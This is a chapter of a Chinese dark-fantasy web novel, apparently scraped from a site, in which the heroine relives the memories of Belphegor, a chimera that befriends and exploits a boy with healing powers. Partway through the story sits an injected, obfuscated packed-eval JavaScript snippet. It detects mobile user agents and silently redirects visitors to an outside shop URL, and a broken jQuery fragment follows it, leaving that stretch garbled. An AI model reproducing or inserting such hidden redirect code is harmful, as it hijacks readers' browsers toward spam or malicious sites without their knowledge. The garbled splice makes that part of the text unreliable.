当游羽手中的刀没入贝尔芬格的胸膛，冰冷的提醒从身后传来：“奇美拉有三颗头，也有三颗心。”


    她回头，狼人挑眉，像是无声的询问，需要我来代为效劳吗？


    那场不欢而散的争吵回荡在耳边：“所以让我来，我会去做那些你做不到的事，我去杀那些你不敢杀的人。我会代替你双手沾满鲜血，你可以在旁边闭眼，装作不知道。”


    但是她无法闭上眼。


    游羽摇了摇头，尽管胃在翻涌，尽管灵魂处于崩溃的边缘，尽管身体迟滞得握不住刀，她没有停下。


    呼吸停止之时，丑陋的怪物不知道透过她看到了谁，笑容纯净如孩童。


    熟悉的失重感袭来，属于【懒惰】的回忆涌入了游羽的脑海。


    阴暗的角落里，她蜷缩在某人的怀里，幼小，孱弱，浑身是伤，因长期处于应激而身体止不住地微微颤抖。


    “弥赛亚……”她听见自己的声音在发抖，“我会为你做到的。我会打造一个没有人能打扰的理想乡，大家……大家能幸福快乐地生活在一起，再也没有人能伤害我们……”


    抱着她的那个人没有说话，只是伸出手，一下一下，抚摸着她的头，那么温柔，那么温暖，像母亲的怀抱。


    她更缩紧了些。


    画面一转。


    她在逃跑，身后是燃烧的火把，是挥舞的武器，是穿着黑袍的教士们喊叫着：“烧死那只怪物！”


    她跑过田野，跑过森林，跑过悬崖。箭矢从耳边擦过，有一支射中了她的肩膀。她摔倒，爬起来，再摔倒，再爬起来，最后被逼到了悬崖。


    海浪吞没了她。


    等她醒来时，躺在一片黑色的沙滩上，周围是陌生的植物，陌生的礁石，陌生的的世界。


    然后她看见了那双眼睛。


    透过男孩如海一般湛蓝的眼睛，游羽终于看到了贝尔芬格此刻的模样：幼狮的头，毛茸茸一团，羊首隐藏在毛发蓬松的躯干，蛇首伪装成尾巴，匍匐在地，时刻准备着给敌人致命一击。


    “你受伤了。”他说。


    受伤的野兽张开血盆，她本准备吃掉他的，但男孩往里面放了颗糖。


    “妈妈说，受伤了的话，吃糖就不痛了。”男孩讨好的笑。


    看她大力咀嚼着糖，他小心翼翼地问道：“我叫达米安，你愿意当我的朋友吗？詹姆斯总是欺负我，艾琳娜也不愿意跟我玩。”


    他不安地绞着手，像是为自己过分的要求而感到难为情：“我很寂寞。”


    真是奇怪的人类，她想，犹如雨滋润了干涸的土地，那一刻，她才明白，原来萦绕在她内心的不安名为寂寞。


    “如果汝每日向我献祭一只猪，一只羊……”


    她缓缓说道，像一位矜持的神灵回应信徒的祈求，还没说完，就被那孩子着急忙慌地打断了：“天啦，你会说话！我要和南希介绍你，对了，南希是我的保姆……”


    她急的语速飙得飞快：“那你就再也找不到我了！”


    “不要……”小男孩湛蓝的眼眶瞬间盈满了泪水，她不得不手忙脚乱地做出了一些乱七八糟的保证，类似每天会准时见他，陪他玩，陪他踢球云云，完全忽略保守秘密最好的方式明明是——


    吃掉他。


    总而言之，虽然那孩子一幅很想和全世界炫耀自己交到了朋友的样子，却还是保守了秘密。


    不过那家伙送上的祭品寒碜到不行，尽是些面包饼干糖果之类甜到齁的点心，如果不是去人类世界打猎有风险，她又受伤了，真的一点都不想碰。


    她想吃肉！吃肉！


    有一天，达米安告诉她，明天有一艘船会到岛上来，她顿时来了劲，细细盘问，小鬼却尽说些有的没的，什么就算家庭老师来了，我也不会冷落你的。


    贝尔芬格无聊地驱动着伪装成尾巴的蛇首驱散苍蝇，如果故事继续这么发展下去，她会乘那艘船离开这座岛，不受欢迎的男孩会难过一阵子，在岛上度过平淡无聊但安稳顺遂的一生。


    但是故事总会有意外。


    看着她冷淡的表情，达米安讨好道：“这样吧，我告诉你一个秘密，这是我最大的秘密。”


    “我能让破坏的东西愈合。”达米安附在她的耳边说，热气哄得她痒痒的。


    贝尔芬格原本并没有当回事，但那孩子真的轻易治愈了她的伤口，那一刻，她意识到，这孩子就是她寻找了很久的【泉眼】。


    锡安教会说，神是第一推动力，万事万物的运行都依赖神的恩赐。虽然那群臭教士只是在瞎扯，这句话却点出了魔法的本质——若想重现超越日常的奇迹，必然消耗大量的魔力。


    作为从北境深渊金伦加裂谷的怪物，她比普通人类更容易感知和运用魔力，即使如此，她也未能掌握治愈魔法，更何况这孩子甚至没有吟唱咒语。


    如果对于普通人来说，使用魔法是滴水石穿，需要持之以恒的学习和储存魔力，对于【泉眼】来说，魔法就像吃饭喝水一样稀松平常。


    “你是不是感觉不舒服？”达米安被她盯得发毛，不安地挠着后脑勺：“上次我想让一枝枯萎的玫瑰复生，却膨胀变形还腥臭难闻……”


    “不，你做的很好。”尽管为男孩接下来的命运感到遗憾，贝尔芬格已经明确了接下来该做的事情。


    她会为弥赛亚，为大家，创造一个没有人能伤害他们的理想乡。


    翌日，当新来的家庭教师提着行李箱下船时，等候着她的男仆看起来有些奇怪，表情僵硬，走路同手同脚。


    “马修先生，我们还要走多久才能到啊？”艾米莉问道，下船时，玫瑰庄园看起来并不遥远，却越走越远。


    “快到了。”马修回以一个不自然的微笑，像是还没学会如何运用面部肌肉。


    生物面对危险的本能提醒了艾米莉，她箱子也不要了，拔腿就跑，却被蛰伏的狮子一口咬掉了头，又嘎嘣嘎嘣吃掉了身体。


    接着，贝尔芬格穿着艾米丽的裙子，梳着艾米丽的发髻，用着艾米丽的声音，出现在艾登家族面前，又被介绍给了达米安，男孩揉了揉眼，露出了不敢置信的表情，贝尔芬格顿时浮现了不好的预感。


    果然，二人独处时，达米安看着她，眨眨眼。


    “小狮子？”


    他为什么能轻易识破她的变形术？只要吃掉生物的部分组织，她的外表就能变成对方的样子，如果整个吃掉了，她的伪装应该是完美无缺的，即使是那些臭教士也无法识别，为什么他却可以？


    这就是【泉眼】的力量吗？


    “以后叫我老师。”她蹲下来，平视他的眼睛以掩饰自己的不安，“从今天起，我会一直陪着你，每时每刻，你说好不好？”


    达米安愣了一秒，笑得比任何时候都灿烂。


    过了几日，男仆马修失踪的消息在仆人间流传，虽然管家告诫众人，马修是偷了主家的钱逃跑了，但是大家都知道，马修不见时，室友分明看见他的行李还留在宿舍，里面有他攒了一年的工资。


    时间继续流转。


    阳光明媚的午后，贝尔芬格坐在花园的长椅上，膝上放着一本童话书。达米安靠在她身边，仰着小脸，认真听着。


    “……然后，公主吻了那只青蛙，青蛙就变成了英俊的王子。”


    “真的吗？”达米安睁大眼睛。


    “童话里是这么说的。”


    “那如果我也变成青蛙，老师会吻我吗？”


    “你不需要变成青蛙。”她亲了亲他的脸颊，“我也会吻你。”


    达米安的脸红了，低下头，嘴角却偷偷翘起来。


    别馆，电闪雷鸣的夜晚。


    达米安从噩梦中惊醒，抱着枕头跑到贝尔芬格的房间，抽抽噎噎：


    “老师，以前这种时候，妈妈都会陪我……”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355139|189867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    贝尔芬格掀开被子，让他钻进来，搂着他，轻轻拍他的背。


    “不怕。我在。”


    达米安缩在她怀里，小声说：“老师会一直在吗？”


    “会。”


    “一直到永远？”


    “一直到永远。”


    达米安闭上眼睛，呼吸渐渐平稳。


    还是别馆，达米安静静地站在窗边，看着母亲和哥哥姐姐后面跟着一大串仆人拎着行李，像是要远游，尽管他已经习惯了被困在别馆，强烈的苦涩仍是如潮水般袭来。


    今天可是他的生日啊，往年母亲会带着蛋糕和礼物来别馆，尽管她只会呆一会儿，但这还是让达米安感到被家人挂念的感觉，甚至生出不切实际的幻想：我只是生病了，总有一天会被家人们重新接纳的。


    而这一刻，幻想的小火苗被彻底掐灭了。


    “看，这是什么！”


    达米安回头，贝尔芬格端着一个蛋糕站在他面前，笑盈盈的。


    虽然蛋糕烤糊了，奶油也抹得乱七八糟，但那是她为他亲手做的生日蛋糕。


    “许个愿吧。”


    达米安闭上眼睛，认真地想了想，才吹灭蜡烛。


    “许了什么愿？”


    “不能说，说了就不灵了。”


    贝尔芬格笑了，揉揉他的头发。


    冬天的早晨，少年达米安因为满身鞭伤而发烧。


    彻夜守护着他的贝尔芬格守在床边，一遍遍用凉毛巾敷他的额头。


    他不肯喝药，她就哄着，一小勺一小勺喂。他难受得哭，她就把他抱在怀里，摇啊摇，像摇婴儿一样。


    “老师……我会死吗？”


    “不会。”


    “如果我死了，对大家会不会来说更好？没有人在意我……”少年忍不住像个孩子般痛哭。


    “我在意你。”


    “为了我，不要死。”


    那一刻，贝尔芬格是真心的。


    她需要他活下去，他将成为法阵的中心，源源不断地为她的【美梦之茧】供能，直到这个领域完全闭合，连神的力量也无法打破。


    少年睁开了眼，目不转睛地看着她，澄澈的蓝眼睛蒙上了一层淡淡的雾。


    接着，他突然用被子蒙住了头，任她如何劝说都不肯揭开。


    她无奈，等他睡得迷迷糊糊的，才上前把被子揭开掖好，也听清了他嘟囔的梦话：


    “我的愿望是，永远和老师在一起。”


    她的睫毛颤了颤，低头在他额头上轻轻印了一个吻。


    原来怪物也会怦然心动。


    但已经没有什么能阻挡她的脚步，即使弥赛亚本人来了也不可以。


    满是尸体和鲜血的教堂。


    贝尔芬格躺在地上，脸色苍白得像纸。达米安跪在她身边，抱着她，不断地施展奇迹，却无济于事。


    “老师，老师你不要死……”


    “达米安……”她的声音虚弱得像随时会断掉，“听我说……”


    “不要！我不要听！我要你活着！”


    “你必须听。”她的手颤抖着抬起，抚摸他的脸，“在这里等我。”


    达米安愣住了。


    “等？”他喃喃，“等多久？”


    贝尔芬格看着他，透过那双湛蓝色的眼睛，游羽在那一瞬间里看到了一闪而过的愧疚，不舍，还是别的什么？


    但只是一瞬间。


    “不会太久，”她轻声说，“我们终究会团聚的。”


    “你保证？”


    “我保证。”


    达米安抱着她，哭得浑身发抖。


    “我等你，一直等，即使等上十年，一百年，一千年……”


    贝尔芬格的手已从他脸上滑落。


    游羽透过贝尔芬格的眼睛看到的最后一幕，是那个守着虚无缥缈的承诺，等了一千年的少年，一步步走入毁灭。